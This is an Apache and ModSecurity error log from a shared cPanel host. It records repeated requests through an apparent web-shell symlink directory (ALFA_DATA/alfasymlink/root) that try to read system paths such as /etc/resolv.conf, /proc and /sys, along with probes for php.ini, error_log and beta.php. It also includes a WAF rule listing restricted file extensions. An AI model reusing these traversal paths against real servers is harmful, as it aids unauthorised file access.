[Tue Oct 27 01:07:34.179365 2026] [core:error] [pid 3165580:tid 3165580] (13)Permission denied: [client 44.195.50.71:38077] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:15/subsystem/devices/device:0a/subsystem/devices/device:08/eject
[Tue Oct 27 01:07:37.094700 2026] [security2:error] [pid 3165581:tid 3165581] [client 197.203.59.93:55296] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/elkarte/php71/import.php"] [unique_id "auAxmRxMr3QbPGZH6GHJWwAAABU"]
[Tue Oct 27 01:07:37.094748 2026] [security2:error] [pid 3165581:tid 3165581] [client 197.203.59.93:55296] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/elkarte/php71/import.php"] [unique_id "auAxmRxMr3QbPGZH6GHJWwAAABU"]
[Tue Oct 27 01:07:46.157076 2026] [ssl:error] [pid 3165579:tid 3165579] (70014)End of file found: [client 54.83.240.58:40842] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:07:58.151421 2026] [ssl:error] [pid 3165581:tid 3165581] (70014)End of file found: [client 34.231.118.144:29507] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:08:02.162411 2026] [ssl:error] [pid 3161717:tid 3161717] (70014)End of file found: [client 35.168.238.50:55721] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:08:07.285755 2026] [ssl:error] [pid 3157911:tid 3157911] (70014)End of file found: [client 185.191.171.17:41634] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:08:10.167403 2026] [ssl:error] [pid 3165581:tid 3165581] (70014)End of file found: [client 100.29.107.38:37977] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:08:34.374672 2026] [core:error] [pid 3165068:tid 3165068] (13)Permission denied: [client 18.214.186.220:52053] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0303:00/physical_node1/wakeup/wakeup10/subsystem/wakeup5/device/physical_node/remove
[Tue Oct 27 01:08:46.207557 2026] [core:error] [pid 3157136:tid 3157136] (13)Permission denied: [client 35.171.117.160:62001] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/drivers/vmd/module/uevent
[Tue Oct 27 01:08:50.393688 2026] [ssl:error] [pid 3163247:tid 3163247] (5)Input/output error: [client 54.83.23.103:54524] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:08:58.205326 2026] [ssl:error] [pid 3157136:tid 3157136] (70014)End of file found: [client 35.168.238.50:41992] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:09:06.158736 2026] [core:error] [pid 3163247:tid 3163247] (13)Permission denied: [client 54.243.63.52:56621] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory17/node0/memory14/node0/cpu1/crash_notes_size
[Tue Oct 27 01:09:10.401270 2026] [ssl:error] [pid 3157136:tid 3157136] (70014)End of file found: [client 3.212.205.90:13206] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:09:14.176488 2026] [ssl:error] [pid 3157828:tid 3157828] (70014)End of file found: [client 52.70.209.13:52807] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:09:26.297271 2026] [core:error] [pid 3165068:tid 3165068] (13)Permission denied: [client 100.29.160.53:55244] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/cpu1/node0/memory16/subsystem/uevent
[Tue Oct 27 01:09:50.170937 2026] [ssl:error] [pid 3161716:tid 3161716] (70014)End of file found: [client 54.152.163.42:44483] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:10:02.153723 2026] [ssl:error] [pid 3147513:tid 3147513] (70014)End of file found: [client 98.82.59.253:38742] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:10:04.613470 2026] [core:error] [pid 3165580:tid 3165580] (13)Permission denied: [client 185.191.171.9:16406] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_queue/usersize
[Tue Oct 27 01:10:06.254681 2026] [ssl:error] [pid 3157136:tid 3157136] (70014)End of file found: [client 35.173.38.202:46384] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:10:10.146548 2026] [core:error] [pid 3161716:tid 3161716] (13)Permission denied: [client 52.73.6.26:3693] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:1c/subsystem/devices/PNP0A03:00/device:07/eject
[Tue Oct 27 01:10:26.206507 2026] [ssl:error] [pid 3165579:tid 3165579] (5)Input/output error: [client 54.197.178.107:5246] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:10:26.760006 2026] [authz_core:error] [pid 3165580:tid 3165580] [client 172.236.228.218:58850] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 01:10:30.134622 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 52.203.152.231:40765] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:10:34.139618 2026] [ssl:error] [pid 3165580:tid 3165580] (70014)End of file found: [client 34.231.118.144:24078] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:10:46.313146 2026] [ssl:error] [pid 3161717:tid 3161717] (70014)End of file found: [client 52.203.65.83:44466] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:11:06.180255 2026] [ssl:error] [pid 3161717:tid 3161717] (70014)End of file found: [client 52.44.148.203:1795] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:11:10.171585 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 34.233.114.237:19797] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:11:16.767019 2026] [security2:error] [pid 3165333:tid 3165333] [client 185.191.171.11:31184] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/vtiger/install.php"] [unique_id "auAydIDoqn1HgTp8tuFynwAAAAI"]
[Tue Oct 27 01:11:16.767190 2026] [security2:error] [pid 3165333:tid 3165333] [client 185.191.171.11:31184] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/vtiger/install.php"] [unique_id "auAydIDoqn1HgTp8tuFynwAAAAI"]
[Tue Oct 27 01:11:26.175911 2026] [ssl:error] [pid 3163812:tid 3163812] (70014)End of file found: [client 3.225.45.252:55820] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:11:46.491275 2026] [ssl:error] [pid 3147513:tid 3147513] (70014)End of file found: [client 3.215.59.93:47450] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:11:54.153743 2026] [ssl:error] [pid 3165203:tid 3165203] (70014)End of file found: [client 18.209.137.234:63603] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:12:18.147050 2026] [ssl:error] [pid 3147513:tid 3147513] (70014)End of file found: [client 34.206.249.188:17200] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:12:46.280584 2026] [ssl:error] [pid 3157136:tid 3157136] (5)Input/output error: [client 3.212.205.90:59050] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:12:50.280830 2026] [ssl:error] [pid 3161717:tid 3161717] (70014)End of file found: [client 52.5.232.250:1333] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:12:54.208589 2026] [ssl:error] [pid 3163812:tid 3163812] (70014)End of file found: [client 100.28.57.133:61157] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:13:02.157369 2026] [ssl:error] [pid 3161717:tid 3161717] (70014)End of file found: [client 54.197.102.71:43597] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:13:15.288616 2026] [ssl:error] [pid 3161717:tid 3161717] (70014)End of file found: [client 3.215.221.125:60329] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:13:21.161777 2026] [authz_core:error] [pid 3161716:tid 3161716] [client 74.208.222.70:43080] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 01:13:22.495843 2026] [security2:error] [pid 3157802:tid 3157802] [client 18.211.148.239:32123] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/slots/30/"] [unique_id "auAy8lgfnVkvbQQfJ-pA_gAAAAo"]
[Tue Oct 27 01:13:22.495894 2026] [security2:error] [pid 3157802:tid 3157802] [client 18.211.148.239:32123] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/slots/30/"] [unique_id "auAy8lgfnVkvbQQfJ-pA_gAAAAo"]
[Tue Oct 27 01:13:28.526716 2026] [security2:error] [pid 3165579:tid 3165579] [client 107.172.76.131:58278] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAy7bkELKTp82asJdfcrQAAAAk"], referer: https://hoteles1.sherwinpinturas.com/beta.php
[Tue Oct 27 01:13:28.526773 2026] [security2:error] [pid 3165579:tid 3165579] [client 107.172.76.131:58278] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAy7bkELKTp82asJdfcrQAAAAk"], referer: https://hoteles1.sherwinpinturas.com/beta.php
[Tue Oct 27 01:13:36.581478 2026] [security2:error] [pid 3157802:tid 3157802] [client 16.216.88.127:20480] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/resolv.conf"] [unique_id "auAzAFgfnVkvbQQfJ-pA_wAAAAo"]
[Tue Oct 27 01:13:36.581974 2026] [security2:error] [pid 3157802:tid 3157802] [client 16.216.88.127:20480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/resolv.conf"] [unique_id "auAzAFgfnVkvbQQfJ-pA_wAAAAo"]
[Tue Oct 27 01:13:36.582282 2026] [security2:error] [pid 3157802:tid 3157802] [client 16.216.88.127:20480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/resolv.conf"] [unique_id "auAzAFgfnVkvbQQfJ-pA_wAAAAo"]
[Tue Oct 27 01:13:38.163769 2026] [ssl:error] [pid 3157394:tid 3157394] (70014)End of file found: [client 44.217.255.167:7544] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:13:42.248656 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 185.191.171.13:29400] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:13:50.391431 2026] [ssl:error] [pid 3161102:tid 3161102] (70014)End of file found: [client 54.163.136.244:41011] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:13:58.213736 2026] [ssl:error] [pid 3157394:tid 3157394] (70014)End of file found: [client 100.28.204.82:41074] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:14:06.183162 2026] [ssl:error] [pid 3164823:tid 3164823] (70014)End of file found: [client 3.219.80.71:16940] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:14:10.378054 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 54.243.63.52:38232] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:14:10.880810 2026] [core:error] [pid 3157136:tid 3157136] (13)Permission denied: [client 185.191.171.11:37376] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/slabs
[Tue Oct 27 01:14:30.319955 2026] [ssl:error] [pid 3157136:tid 3157136] (70014)End of file found: [client 52.54.157.23:20970] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:14:38.262272 2026] [ssl:error] [pid 3157136:tid 3157136] (70014)End of file found: [client 52.70.123.241:56330] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:14:50.140051 2026] [ssl:error] [pid 3157136:tid 3157136] (70014)End of file found: [client 44.215.61.66:3862] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:15:02.383448 2026] [ssl:error] [pid 3165068:tid 3165068] (70014)End of file found: [client 23.23.99.55:4357] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:15:06.237218 2026] [ssl:error] [pid 3157394:tid 3157394] (70014)End of file found: [client 3.222.85.38:6929] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:15:18.195515 2026] [ssl:error] [pid 3161102:tid 3161102] (70014)End of file found: [client 107.22.208.39:54139] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:15:26.173771 2026] [ssl:error] [pid 3157802:tid 3157802] (70014)End of file found: [client 44.205.180.155:52220] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:15:26.173993 2026] [security2:error] [pid 3157802:tid 3157802] [client 44.205.180.155:52220] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory0/subsystem/devices/memory4/node0/memory10/state"] [unique_id "auAzblgfnVkvbQQfJ-pBAgAAAAo"]
[Tue Oct 27 01:15:26.174016 2026] [security2:error] [pid 3157802:tid 3157802] [client 44.205.180.155:52220] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory0/subsystem/devices/memory4/node0/memory10/state"] [unique_id "auAzblgfnVkvbQQfJ-pBAgAAAAo"]
[Tue Oct 27 01:15:34.195379 2026] [core:error] [pid 3161717:tid 3161717] (13)Permission denied: [client 52.45.92.83:61631] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/devices/0000:00:01.3/subsystem/rescan
[Tue Oct 27 01:15:46.145462 2026] [ssl:error] [pid 3161716:tid 3161716] (70014)End of file found: [client 54.157.99.244:63675] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:15:47.375550 2026] [core:error] [pid 3157394:tid 3157394] (13)Permission denied: [client 185.191.171.3:56846] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/order
[Tue Oct 27 01:15:50.130720 2026] [ssl:error] [pid 3161102:tid 3161102] (70014)End of file found: [client 18.232.36.1:39915] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:15:54.138440 2026] [ssl:error] [pid 3161717:tid 3161717] (70014)End of file found: [client 18.214.138.148:62222] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:15:58.147248 2026] [ssl:error] [pid 3163812:tid 3163812] (70014)End of file found: [client 3.219.81.66:11872] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:16:02.138664 2026] [ssl:error] [pid 3165078:tid 3165078] (70014)End of file found: [client 35.171.117.160:31645] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:16:14.141224 2026] [ssl:error] [pid 3166096:tid 3166096] (70014)End of file found: [client 44.206.65.8:50763] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:16:22.306389 2026] [ssl:error] [pid 3161102:tid 3161102] (70014)End of file found: [client 34.196.6.199:16259] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:16:26.146147 2026] [ssl:error] [pid 3166096:tid 3166096] (70014)End of file found: [client 184.72.95.195:61968] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:16:30.131852 2026] [ssl:error] [pid 3165580:tid 3165580] (70014)End of file found: [client 52.203.237.170:48997] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:16:34.130595 2026] [ssl:error] [pid 3165068:tid 3165068] (70014)End of file found: [client 54.159.18.27:58848] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:16:46.163284 2026] [ssl:error] [pid 3165068:tid 3165068] (70014)End of file found: [client 184.73.47.24:43190] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:16:50.155848 2026] [ssl:error] [pid 3161717:tid 3161717] (70014)End of file found: [client 3.223.181.32:12298] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:16:58.160532 2026] [ssl:error] [pid 3165580:tid 3165580] (70014)End of file found: [client 44.193.102.198:39786] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:17:06.345607 2026] [ssl:error] [pid 3161717:tid 3161717] (70014)End of file found: [client 54.235.158.162:14899] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:17:18.320982 2026] [ssl:error] [pid 3165068:tid 3165068] (70014)End of file found: [client 100.24.149.244:2505] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:17:30.290153 2026] [ssl:error] [pid 3165580:tid 3165580] (70014)End of file found: [client 52.1.157.90:24450] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:17:42.513214 2026] [core:error] [pid 3164823:tid 3164823] (13)Permission denied: [client 44.221.37.41:35521] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/0000:00:05.0/remove
[Tue Oct 27 01:17:45.416562 2026] [security2:error] [pid 3147513:tid 3147513] [client 107.172.76.131:58280] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAz7cqawth2HP9RxtL-QwAAAAY"], referer: https://bases2.sherwinpinturas.com/beta.php
[Tue Oct 27 01:17:45.416617 2026] [security2:error] [pid 3147513:tid 3147513] [client 107.172.76.131:58280] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAz7cqawth2HP9RxtL-QwAAAAY"], referer: https://bases2.sherwinpinturas.com/beta.php
[Tue Oct 27 01:17:50.317281 2026] [ssl:error] [pid 3157802:tid 3157802] (70014)End of file found: [client 98.82.59.253:41359] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:17:57.398221 2026] [authz_core:error] [pid 3157802:tid 3157802] [client 205.169.39.29:14004] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Tue Oct 27 01:18:09.476760 2026] [core:error] [pid 3157802:tid 3157802] (13)Permission denied: [client 185.191.171.18:46820] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_tasks/min_partial
[Tue Oct 27 01:18:10.358384 2026] [core:error] [pid 3166096:tid 3166096] (13)Permission denied: [client 52.2.191.202:21068] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:04/physical_node/virtio0/driver/unbind
[Tue Oct 27 01:18:22.359173 2026] [ssl:error] [pid 3165078:tid 3165078] (70014)End of file found: [client 3.81.253.213:5926] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:18:28.851244 2026] [authz_core:error] [pid 3164823:tid 3164823] [client 172.104.11.4:8696] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 01:18:30.588848 2026] [ssl:error] [pid 3166096:tid 3166096] (70014)End of file found: [client 50.16.248.61:22686] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:18:42.509980 2026] [security2:error] [pid 3167526:tid 3167526] [client 3.231.193.38:15561] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/device:01/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/ata2/host1/target1:0:0/1:0:0:0/driver/module/holders/"] [unique_id "auA0MmCyNSR5NccyVY_huAAAAAA"]
[Tue Oct 27 01:18:42.510073 2026] [security2:error] [pid 3167526:tid 3167526] [client 3.231.193.38:15561] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/device:01/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/ata2/host1/target1:0:0/1:0:0:0/driver/module/holders/"] [unique_id "auA0MmCyNSR5NccyVY_huAAAAAA"]
[Tue Oct 27 01:19:06.599273 2026] [ssl:error] [pid 3161717:tid 3161717] (70014)End of file found: [client 54.86.59.155:40624] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:19:07.190269 2026] [ssl:error] [pid 3167526:tid 3167526] (70014)End of file found: [client 185.191.171.8:18170] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:19:14.425651 2026] [ssl:error] [pid 3161716:tid 3161716] (70014)End of file found: [client 184.73.239.35:16911] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:19:22.450881 2026] [ssl:error] [pid 3161717:tid 3161717] (70014)End of file found: [client 44.223.232.55:38575] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:19:34.642177 2026] [ssl:error] [pid 3167557:tid 3167557] (70014)End of file found: [client 98.82.59.253:60589] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:19:38.553972 2026] [ssl:error] [pid 3163812:tid 3163812] (70014)End of file found: [client 44.223.232.55:20905] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:19:42.501948 2026] [ssl:error] [pid 3164823:tid 3164823] (70014)End of file found: [client 54.157.84.74:6205] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:19:46.641738 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 54.204.12.115:56075] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:19:50.586284 2026] [ssl:error] [pid 3165078:tid 3165078] (70014)End of file found: [client 52.54.157.23:29116] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:19:54.640064 2026] [ssl:error] [pid 3164823:tid 3164823] (70014)End of file found: [client 18.209.201.119:16740] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:19:59.412545 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 185.191.171.15:15230] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:20:02.791245 2026] [ssl:error] [pid 3165078:tid 3165078] (70014)End of file found: [client 23.23.213.182:38599] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:20:06.544203 2026] [ssl:error] [pid 3167556:tid 3167556] (70014)End of file found: [client 3.210.114.189:63238] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:20:29.965748 2026] [ssl:error] [pid 3164823:tid 3164823] (70014)End of file found: [client 54.197.114.76:60968] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:20:30.611513 2026] [ssl:error] [pid 3167551:tid 3167551] (70014)End of file found: [client 54.243.63.52:51740] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:20:38.926197 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 44.220.2.97:34758] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:20:42.615268 2026] [ssl:error] [pid 3165078:tid 3165078] (70014)End of file found: [client 3.221.244.28:45970] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:20:46.740670 2026] [ssl:error] [pid 3164823:tid 3164823] (70014)End of file found: [client 18.215.112.101:2834] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:20:58.821354 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 23.22.105.143:16613] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:21:02.870162 2026] [ssl:error] [pid 3167526:tid 3167526] (70014)End of file found: [client 3.212.86.97:60014] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:21:06.807980 2026] [ssl:error] [pid 3165580:tid 3165580] (70014)End of file found: [client 52.204.253.129:32666] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:21:15.012544 2026] [ssl:error] [pid 3161716:tid 3161716] (70014)End of file found: [client 3.231.193.38:8854] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:21:18.939876 2026] [ssl:error] [pid 3161717:tid 3161717] (70014)End of file found: [client 100.24.149.244:63594] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:21:30.798793 2026] [ssl:error] [pid 3167526:tid 3167526] (70014)End of file found: [client 44.221.37.41:12504] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:21:33.220492 2026] [authz_core:error] [pid 3161717:tid 3161717] [client 203.83.11.13:33000] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 01:21:34.912081 2026] [ssl:error] [pid 3165203:tid 3165203] (70014)End of file found: [client 23.21.227.240:63042] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:21:38.966136 2026] [ssl:error] [pid 3161716:tid 3161716] (70014)End of file found: [client 52.207.47.227:33932] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:21:46.928715 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 98.82.59.253:27446] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:21:54.957979 2026] [ssl:error] [pid 3167556:tid 3167556] (70014)End of file found: [client 52.5.232.250:55726] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:21:58.848725 2026] [ssl:error] [pid 3165580:tid 3165580] (70014)End of file found: [client 100.28.57.133:16615] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:22:02.874248 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 52.54.249.218:59831] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:22:14.628537 2026] [proxy:error] [pid 3167557:tid 3167557] (32)Broken pipe: [client 185.93.55.108:44498] AH01084: pass request body failed to 127.0.0.1:2082 (127.0.0.1)
